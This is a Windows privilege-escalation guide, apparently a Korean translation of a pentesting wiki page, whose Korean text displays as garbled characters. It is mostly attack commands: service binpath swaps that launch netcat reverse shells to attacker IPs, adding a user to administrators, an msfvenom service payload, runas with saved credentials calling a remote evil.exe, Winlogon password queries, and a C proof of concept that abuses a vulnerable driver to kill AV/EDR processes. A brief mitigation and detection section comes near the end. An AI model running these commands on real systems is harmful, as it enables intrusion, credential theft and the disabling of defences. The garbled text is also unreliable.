์: โWindows Help and Supportโ (Windows + F1)์์ โcommand promptโ๋ฅผ ๊ฒ์ํ ๋ค์ โClick to open Command Promptโ๋ฅผ ํด๋ฆญํฉ๋๋ค.
์๋น์ค
Service Triggers๋ ํน์ ์กฐ๊ฑด(์: named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh ๋ฑ)์ด ๋ฐ์ํ ๋ Windows๊ฐ ์๋น์ค๋ฅผ ์์ํ๊ฒ ํฉ๋๋ค. SERVICE_START ๊ถํ์ด ์์ด๋ ํธ๋ฆฌ๊ฑฐ๋ฅผ ์๋์์ผ ๊ถํ ์๋ ์๋น์ค๋ฅผ ์์ํ ์ ์๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค. ์ด๊ฑฐ ๋ฐ ํ์ฑํ ๊ธฐ๋ฒ์ ๋ค์์ ์ฐธ์กฐํ์ธ์:
์๋น์ค ๋ชฉ๋ก ๊ฐ์ ธ์ค๊ธฐ:
net start
wmic service list brief
sc query
Get-Service
๊ถํ
์๋น์ค ์ ๋ณด๋ฅผ ์ป๊ธฐ ์ํด sc๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
sc qc <service_name>
๊ฐ ์๋น์ค์ ํ์ํ ๊ถํ ์์ค์ ํ์ธํ๋ ค๋ฉด _Sysinternals_์ binary accesschk๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
โAuthenticated Usersโ๊ฐ ์ด๋ค ์๋น์ค๋ฅผ ์์ ํ ์ ์๋์ง ํ์ธํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
์๋น์ค ํ์ฑํ
์ค๋ฅ๊ฐ ๋ค์๊ณผ ๊ฐ์ด ๋ฐ์ํ๋ ๊ฒฝ์ฐ(์: SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
๋ค์ ๋ช ๋ น์ผ๋ก ํ์ฑํํ ์ ์์ต๋๋ค
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
upnphost ์๋น์ค๋ ์๋ํ๊ธฐ ์ํด SSDPSRV์ ์์กดํ๋ค๋ ์ ์ ๊ณ ๋ คํ์ธ์ (for XP SP1)
๋ ๋ค๋ฅธ ์ฐํ ๋ฐฉ๋ฒ์ ์ด ๋ฌธ์ ์ ๋ํด ๋ค์์ ์คํํ๋ ๊ฒ์ ๋๋ค:
sc.exe config usosvc start= auto
์๋น์ค ๋ฐ์ด๋๋ฆฌ ๊ฒฝ๋ก ์์
์๋น์ค์ ๋ํด โAuthenticated usersโ ๊ทธ๋ฃน์ด SERVICE_ALL_ACCESS ๊ถํ์ ๊ฐ์ง ๊ฒฝ์ฐ, ์๋น์ค์ ์คํ ํ์ผ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ ํ ์ ์์ต๋๋ค. ์๋น์ค๋ฅผ ์์ ํ๊ณ ์คํํ๋ ค๋ฉด sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
์๋น์ค ์ฌ์์
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
๊ถํ ์น๊ฒฉ์ ๋ค์๊ณผ ๊ฐ์ ๊ถํ์ ํตํด ์ด๋ฃจ์ด์ง ์ ์์ต๋๋ค:
- SERVICE_CHANGE_CONFIG: ์๋น์ค ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ฌ๊ตฌ์ฑํ ์ ์์ต๋๋ค.
- WRITE_DAC: ๊ถํ ์ฌ๊ตฌ์ฑ์ด ๊ฐ๋ฅํ์ฌ ์๋น์ค ๊ตฌ์ฑ์ ๋ณ๊ฒฝํ ์ ์๊ฒ ํฉ๋๋ค.
- WRITE_OWNER: ์์ ๊ถ ํ๋ ๋ฐ ๊ถํ ์ฌ๊ตฌ์ฑ์ ํ์ฉํฉ๋๋ค.
- GENERIC_WRITE: ์๋น์ค ๊ตฌ์ฑ์ ๋ณ๊ฒฝํ ์ ์๋ ๊ถํ์ ์์ํฉ๋๋ค.
- GENERIC_ALL: ๋ง์ฐฌ๊ฐ์ง๋ก ์๋น์ค ๊ตฌ์ฑ์ ๋ณ๊ฒฝํ ์ ์๋ ๊ถํ์ ์์ํฉ๋๋ค.
์ด ์ทจ์ฝ์ ์ ํ์ง ๋ฐ ์ ์ฉ์๋ exploit/windows/local/service_permissions ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
์๋น์ค ๋ฐ์ด๋๋ฆฌ์ ์ฝํ ๊ถํ
์๋น์ค์ ์ํด ์คํ๋๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ ํ ์ ์๋์ง ๋๋ ๋ฐ์ด๋๋ฆฌ๊ฐ ์์นํ ํด๋์ ์ฐ๊ธฐ ๊ถํ์ด ์๋์ง ํ์ธํ์ธ์ (DLL Hijacking).
์๋น์ค์ ์ํด ์คํ๋๋ ๋ชจ๋ ๋ฐ์ด๋๋ฆฌ๋ wmic (not in system32)๋ฅผ ์ฌ์ฉํด ์ป์ ์ ์์ผ๋ฉฐ, icacls๋ก ๊ถํ์ ํ์ธํ ์ ์์ต๋๋ค:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
๋ํ sc ๋ฐ icacls๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
์๋น์ค ๋ ์ง์คํธ๋ฆฌ ์์ ๊ถํ
์๋น์ค ๋ ์ง์คํธ๋ฆฌ๋ฅผ ์์ ํ ์ ์๋์ง ํ์ธํด์ผ ํฉ๋๋ค.
๋ค์๊ณผ ๊ฐ์ด ์๋น์ค ๋ ์ง์คํธ๋ฆฌ์ ๋ํ ๊ถํ์ ํ์ธํ ์ ์์ต๋๋ค:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
์๋น์ค๊ฐ ์คํํ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ณ๊ฒฝํ ์ ์์ผ๋ฏ๋ก Authenticated Users ๋๋ NT AUTHORITY\INTERACTIVE๊ฐ FullControl ๊ถํ์ ๊ฐ์ง๊ณ ์๋์ง ํ์ธํด์ผ ํฉ๋๋ค.
์คํ๋๋ ๋ฐ์ด๋๋ฆฌ์ Path๋ฅผ ๋ณ๊ฒฝํ๋ ค๋ฉด:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
์๋น์ค ๋ ์ง์คํธ๋ฆฌ AppendData/AddSubdirectory ๊ถํ
If you have this permission over a registry this means to you can create sub registries from this one. In case of Windows services this is enough to execute arbitrary code:
AppendData/AddSubdirectory permission over service registry
์ธ์ฉ๋ถํธ ์๋ ์๋น์ค ๊ฒฝ๋ก
If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.
For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
๊ธฐ๋ณธ ์ ๊ณต Windows ์๋น์ค์ ์ํ์ง ์๋ ํญ๋ชฉ์ ์ ์ธํ๊ณ , ์ธ์ฉ๋ถํธ๊ฐ ์๋ ๋ชจ๋ ์๋น์ค ๊ฒฝ๋ก๋ฅผ ๋์ดํ์ธ์:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
์ด ์ทจ์ฝ์ ์ metasploit์ ์ฌ์ฉํด ํ์งํ๊ณ ์
์ฉํ ์ ์์ต๋๋ค: exploit/windows/local/trusted\_service\_path
metasploit์ผ๋ก ์๋์ผ๋ก ์๋น์ค ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ฑํ ์ ์์ต๋๋ค:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
๋ณต๊ตฌ ์์
Windows๋ ์๋น์ค๊ฐ ์คํจํ์ ๋ ์ํํ ์์ ์ ์ฌ์ฉ์๊ฐ ์ง์ ํ ์ ์๋๋ก ํ์ฉํฉ๋๋ค. ์ด ๊ธฐ๋ฅ์ ํน์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ๊ตฌ์ฑํ ์ ์์ต๋๋ค. ํด๋น ๋ฐ์ด๋๋ฆฌ๋ฅผ ๊ต์ฒดํ ์ ์๋ค๋ฉด ๊ถํ ์์น์ด ๊ฐ๋ฅํ ์ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ ๊ณต์ ๋ฌธ์์์ ํ์ธํ์ธ์.
์ ํ๋ฆฌ์ผ์ด์
์ค์น๋ ์ ํ๋ฆฌ์ผ์ด์
๋ฐ์ด๋๋ฆฌ์ ๊ถํ์ ํ์ธํ์ธ์(์๋ง ํ๋๋ฅผ ๋ฎ์ด์จ์ ๊ถํ ์์น์ด ๊ฐ๋ฅํ ์ ์์ต๋๋ค) ๋ฐ ํด๋์ ๊ถํ๋ ํ์ธํ์ธ์ (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
์ฐ๊ธฐ ๊ถํ
๊ตฌ์ฑ(config) ํ์ผ์ ์์ ํด ํน์ ํ์ผ์ ์ฝ์ ์ ์๋์ง, ๋๋ Administrator ๊ณ์ ์์ ์คํ๋ ๋ฐ์ด๋๋ฆฌ(์: schedtasks)๋ฅผ ์์ ํ ์ ์๋์ง ํ์ธํ์ธ์.
์์คํ ์์ ๊ถํ์ด ์ฝํ ํด๋/ํ์ผ์ ์ฐพ๋ ํ ๊ฐ์ง ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
์์ ์ ์คํ
๋ค๋ฅธ ์ฌ์ฉ์๊ฐ ์คํํ registry ๋๋ binary๋ฅผ ๋ฎ์ด์ธ ์ ์๋์ง ํ์ธํ์ธ์.
์ฝ์ด๋ณด์ธ์ ๋ค์ ํ์ด์ง์์ ํฅ๋ฏธ๋ก์ด autoruns locations to escalate privileges์ ๋ํด ๋ ์์๋ณด์ธ์:
Privilege Escalation with Autoruns
๋๋ผ์ด๋ฒ
๊ฐ๋ฅํ third party weird/vulnerable ๋๋ผ์ด๋ฒ๋ฅผ ์ฐพ์๋ณด์ธ์
driverquery
driverquery.exe /fo table
driverquery /SI
๋๋ผ์ด๋ฒ๊ฐ arbitrary kernel read/write primitive๋ฅผ ๋ ธ์ถํ ๊ฒฝ์ฐ (์๋ชป ์ค๊ณ๋ IOCTL ํธ๋ค๋ฌ์์ ํํจ), ์ปค๋ ๋ฉ๋ชจ๋ฆฌ์์ ์ง์ SYSTEM token์ ํ์ณ ๊ถํ์ ์์น์ํฌ ์ ์์ต๋๋ค. ๋จ๊ณ๋ณ ๊ธฐ๋ฒ์ ๋ค์์ ์ฐธ์กฐํ์ธ์:
Arbitrary Kernel Rw Token Theft
์ทจ์ฝํ ํธ์ถ์ด ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ Object Manager ๊ฒฝ๋ก๋ฅผ ์ด ๋ ๋ฐ์ํ๋ race-condition ๋ฒ๊ทธ์ ๊ฒฝ์ฐ, ์กฐํ๋ฅผ ์ผ๋ถ๋ฌ ๋๋ฆฌ๊ฒ(์ต๋ ๊ธธ์ด ์ปดํฌ๋ํธ๋ ๊น์ ๋๋ ํฐ๋ฆฌ ์ฒด์ธ์ ์ฌ์ฉ) ํ๋ฉด ์๋์ฐ๋ฅผ ๋ง์ดํฌ๋ก์ด ๋จ์์์ ์์ญ ๋ง์ดํฌ๋ก์ด๋ก ๋๋ฆด ์ ์์ต๋๋ค:
Kernel Race Condition Object Manager Slowdown
Registry hive memory corruption primitives
์ต์ hive ์ทจ์ฝ์ ์ ๊ฒฐ์ ๋ก ์ ๋ ์ด์์์ ์กฐ์ฑํ๊ณ , ์ฐ๊ธฐ ๊ฐ๋ฅํ HKLM/HKU ํ์ ํญ๋ชฉ์ ์ ์ฉํ๋ฉฐ, ๋ฉํ๋ฐ์ดํฐ ์์์ ์ปค๋ paged-pool overflow๋ก ์ ํํ๋ ๊ฒ์ ์ปค์คํ ๋๋ผ์ด๋ฒ ์์ด ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. ์ ์ฒด ์ฒด์ธ์ ๋ค์์ ์ฐธ์กฐํ์ธ์:
Windows Registry Hive Exploitation
Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
์ผ๋ถ ์๋ช ๋ ์๋ํํฐ ๋๋ผ์ด๋ฒ๋ IoCreateDeviceSecure๋ฅผ ํตํด ๊ฐ๋ ฅํ SDDL๋ก device object๋ฅผ ์์ฑํ์ง๋ง DeviceCharacteristics์ FILE_DEVICE_SECURE_OPEN์ ์ค์ ํ๋ ๊ฒ์ ์์ต๋๋ค. ์ด ํ๋๊ทธ๊ฐ ์์ผ๋ฉด, ์ถ๊ฐ ์ปดํฌ๋ํธ๋ฅผ ํฌํจํ ๊ฒฝ๋ก๋ก ๋๋ฐ์ด์ค๋ฅผ ์ด ๋ secure DACL์ด ์ ์ฉ๋์ง ์์, ๋น๊ถํํ๋ ์ฌ์ฉ์๋ ๋ค์๊ณผ ๊ฐ์ namespace ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉํด ํธ๋ค์ ์ป์ ์ ์์ต๋๋ค:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (from a real-world case)
์ฌ์ฉ์๊ฐ ๋๋ฐ์ด์ค๋ฅผ ์ด ์ ์๊ฒ ๋๋ฉด, ๋๋ผ์ด๋ฒ๊ฐ ๋ ธ์ถํ privileged IOCTLs๋ฅผ LPE ๋ฐ ๋ณ์กฐ์ ์ ์ฉํ ์ ์์ต๋๋ค. ์ค์ ์ฌ๋ก์์ ๊ด์ฐฐ๋ ์์ ๊ธฐ๋ฅ:
- ์์ ํ๋ก์ธ์ค์ ๋ํ full-access ํธ๋ค์ ๋ฐํ (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
- ์ ํ ์๋ raw disk read/write (offline tampering, boot-time persistence tricks).
- Protected Process/Light (PP/PPL)๋ฅผ ํฌํจํ ์์์ ํ๋ก์ธ์ค๋ฅผ ์ข ๋ฃํ์ฌ, kernel์ ํตํด user land์์ AV/EDR์ ์ข ๋ฃํ ์ ์๊ฒ ํจ.
Minimal PoC pattern (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
๊ฐ๋ฐ์๋ฅผ ์ํ ์ํ ์กฐ์น
- DACL๋ก ์ ํํ๋ ค๋ device objects๋ฅผ ์์ฑํ ๋๋ ํญ์ FILE_DEVICE_SECURE_OPEN์ ์ค์ ํ์ธ์.
- ๊ถํ์ด ํ์ํ ์์ ์ ๋ํด ํธ์ถ์ ์ปจํ ์คํธ๋ฅผ ๊ฒ์ฆํ์ธ์. ํ๋ก์ธ์ค ์ข ๋ฃ๋ handle ๋ฐํ์ ํ์ฉํ๊ธฐ ์ ์ PP/PPL ๊ฒ์ฌ๋ฅผ ์ถ๊ฐํ์ธ์.
- IOCTLs(access masks, METHOD_*, ์ ๋ ฅ ๊ฒ์ฆ)๋ฅผ ์ ์ฝํ๊ณ , ์ง์ ์ ์ธ ์ปค๋ ๊ถํ ๋์ brokered models๋ฅผ ๊ณ ๋ คํ์ธ์.
๋ฐฉ์ด์๋ฅผ ์ํ ํ์ง ์์ด๋์ด
- ์์ฌ์ค๋ฌ์ด ๋๋ฐ์ด์ค ์ด๋ฆ(์: \ .\amsdk*)์ ๋ํ user-mode์์์ ์ด๊ธฐ์ ์ค์ฉ์ ์์ฌํ๋ ํน์ IOCTL ์ํ์ค๋ฅผ ๋ชจ๋ํฐ๋งํ์ธ์.
- Microsoft์ ์ทจ์ฝ ๋๋ผ์ด๋ฒ ๋ธ๋ก๋ฆฌ์คํธ(HVCI/WDAC/Smart App Control)๋ฅผ ์ ์ฉํ๊ณ ์์ฒด ํ์ฉ/๊ฑฐ๋ถ ๋ชฉ๋ก์ ์ ์งํ์ธ์ใ
PATH DLL Hijacking
๋ง์ฝ PATH์ ํฌํจ๋ ํด๋์ ๋ํ ์ฐ๊ธฐ ๊ถํ์ด ์๋ค๋ฉด, ํ๋ก์ธ์ค๊ฐ ๋ก๋ํ๋ DLL์ hijackํ์ฌ escalate privilegesํ ์ ์์ต๋๋ค.
PATH์ ์๋ ๋ชจ๋ ํด๋์ ๊ถํ์ ํ์ธํ์ธ์:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
์ด ๊ฒ์ฌ๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ํ ์์ธํ ์ ๋ณด:
Writable Sys Path +Dll Hijacking Privesc
๋คํธ์ํฌ
๊ณต์
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
hosts file์ ํ๋์ฝ๋ฉ๋ ๋ค๋ฅธ ์๋ ค์ง ์ปดํจํฐ๊ฐ ์๋์ง ํ์ธํ์ธ์
type C:\Windows\System32\drivers\etc\hosts
๋คํธ์ํฌ ์ธํฐํ์ด์ค & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
์ด๋ฆฐ ํฌํธ
์ธ๋ถ์์ ์ ํ๋ ์๋น์ค๋ฅผ ํ์ธํ์ธ์
netstat -ano #Opened ports?
๋ผ์ฐํ ํ ์ด๋ธ
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP ํ ์ด๋ธ
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
๋ฐฉํ๋ฒฝ ๊ท์น
์ด ํ์ด์ง์์ ๋ฐฉํ๋ฒฝ ๊ด๋ จ ๋ช ๋ น์ ํ์ธํ์ธ์ (๊ท์น ๋์ด, ๊ท์น ์์ฑ, ๋๊ธฐ, ๋๊ธฐโฆ)
์ถ๊ฐ ๋คํธ์ํฌ ์ด๊ฑฐ๋ฅผ ์ํ ๋ช ๋ น์ ์ฌ๊ธฐ
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
bash.exe ๋ฐ์ด๋๋ฆฌ๋ ๋ํ C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe์์ ์ฐพ์ ์ ์์ต๋๋ค
root user ๊ถํ์ ์ป์ผ๋ฉด ์ด๋ค ํฌํธ์์๋ listenํ ์ ์์ต๋๋ค(ํฌํธ์์ nc.exe๋ฅผ ์ฒ์ ์ฌ์ฉํด listenํ ๋ GUI๋ฅผ ํตํด nc๋ฅผ firewall์์ ํ์ฉํ ์ง ๋ฌป์ต๋๋ค).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
bash๋ฅผ root ๊ถํ์ผ๋ก ์ฝ๊ฒ ์์ํ๋ ค๋ฉด --default-user root๋ฅผ ์ฌ์ฉํด ๋ณด์ธ์
๋ค์ ํด๋์์ WSL ํ์ผ ์์คํ
์ ํ์ํ ์ ์์ต๋๋ค: C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Windows ์๊ฒฉ ์ฆ๋ช
Winlogon ์๊ฒฉ ์ฆ๋ช
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Credentials manager / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault๋ ์๋ฒ, ์น์ฌ์ดํธ ๋ฐ ๊ธฐํ ํ๋ก๊ทธ๋จ์ ๋ํ ์ฌ์ฉ์ ์๊ฒฉ ์ฆ๋ช
์ ์ ์ฅํ๋ฉฐ, ์ด๋ฅผ ํตํด Windows๊ฐ ์ฌ์ฉ์๋ฅผ ์๋์ผ๋ก ๋ก๊ทธ์ธ์ํฌ ์ ์์ต๋๋ค. ์ฒ์ ๋ณด๋ฉด ์ฌ์ฉ์๊ฐ Facebook ์๊ฒฉ ์ฆ๋ช
, Twitter ์๊ฒฉ ์ฆ๋ช
, Gmail ์๊ฒฉ ์ฆ๋ช
๋ฑ์ ์ ์ฅํ์ฌ ๋ธ๋ผ์ฐ์ ๋ฅผ ํตํด ์๋์ผ๋ก ๋ก๊ทธ์ธํ๋ ๊ธฐ๋ฅ์ฒ๋ผ ๋ณด์ผ ์ ์์ง๋ง, ๊ทธ๋ ์ง ์์ต๋๋ค.
Windows Vault๋ Windows๊ฐ ์ฌ์ฉ์๋ฅผ ์๋์ผ๋ก ๋ก๊ทธ์ธ์ํฌ ์ ์๋ ์๊ฒฉ ์ฆ๋ช ์ ์ ์ฅํ๋ฏ๋ก, ์ด๋ ๊ณง ๋ฆฌ์์ค(์๋ฒ ๋๋ ์น์ฌ์ดํธ)์ ์ ๊ทผํ๊ธฐ ์ํด ์๊ฒฉ ์ฆ๋ช ์ด ํ์ํ ๋ชจ๋ Windows application์ด ์ด Credential Manager ๋ฐ Windows Vault๋ฅผ ํ์ฉํ์ฌ ์ฌ์ฉ์๊ฐ ๋งค๋ฒ ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ๋ ฅํ๋ ๋์ ์ ๊ณต๋ ์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํ ์ ์์์ ์๋ฏธํฉ๋๋ค.
์ ํ๋ฆฌ์ผ์ด์ ์ด Credential Manager์ ์ํธ์์ฉํ์ง ์๋ ํ ํน์ ๋ฆฌ์์ค์ ๋ํ ์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํ๋ ๊ฒ์ ๋ถ๊ฐ๋ฅํ๋ค๊ณ ์๊ฐ๋ฉ๋๋ค. ๋ฐ๋ผ์ ์ ํ๋ฆฌ์ผ์ด์ ์ด vault๋ฅผ ์ฌ์ฉํ๋ ค๋ฉด ๊ธฐ๋ณธ ์ ์ฅ vault์์ ํด๋น ๋ฆฌ์์ค์ ๋ํ ์๊ฒฉ ์ฆ๋ช ์ ์์ฒญํ๊ธฐ ์ํด credential manager์ ํต์ ํ๊ณ ์๊ฒฉ ์ฆ๋ช ์ ์์ฒญํด์ผ ํฉ๋๋ค.
์์คํ
์ ์ ์ฅ๋ ์๊ฒฉ ์ฆ๋ช
๋ชฉ๋ก์ ๋ณด๋ ค๋ฉด cmdkey๋ฅผ ์ฌ์ฉํ์ธ์.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
๊ทธ๋ฐ ๋ค์ ์ ์ฅ๋ ์๊ฒฉ ์ฆ๋ช
์ ์ฌ์ฉํ๊ธฐ ์ํด /savecred ์ต์
๊ณผ ํจ๊ป runas๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๋ค์ ์์ ๋ SMB ๊ณต์ ๋ฅผ ํตํด ์๊ฒฉ ๋ฐ์ด๋๋ฆฌ๋ฅผ ํธ์ถํ๋ ์์์
๋๋ค.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas๋ฅผ ์ ๊ณต๋ ์๊ฒฉ ์ฆ๋ช
์ธํธ์ ํจ๊ป ์ฌ์ฉ
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Note that mimikatz, lazagne, credentialfileview, VaultPasswordView, or from Empire Powershells module.
DPAPI
The **Data Protection API (DPAPI)**๋ ๋ฐ์ดํฐ๋ฅผ ์ํ ๋์นญ ์ํธํ ๋ฐฉ๋ฒ์ ์ ๊ณตํ๋ฉฐ, ์ฃผ๋ก Windows ์ด์ ์ฒด์ ์์ ๋น๋์นญ ๊ฐ์ธ ํค์ ๋์นญ ์ํธํ์ ์ฌ์ฉ๋ฉ๋๋ค. ์ด ์ํธํ๋ ์ฌ์ฉ์ ๋๋ ์์คํ ๋น๋ฐ์ ํ์ฉํ์ฌ ์ํธ๋กํผ๋ฅผ ํฌ๊ฒ ์ฆ๊ฐ์ํต๋๋ค.
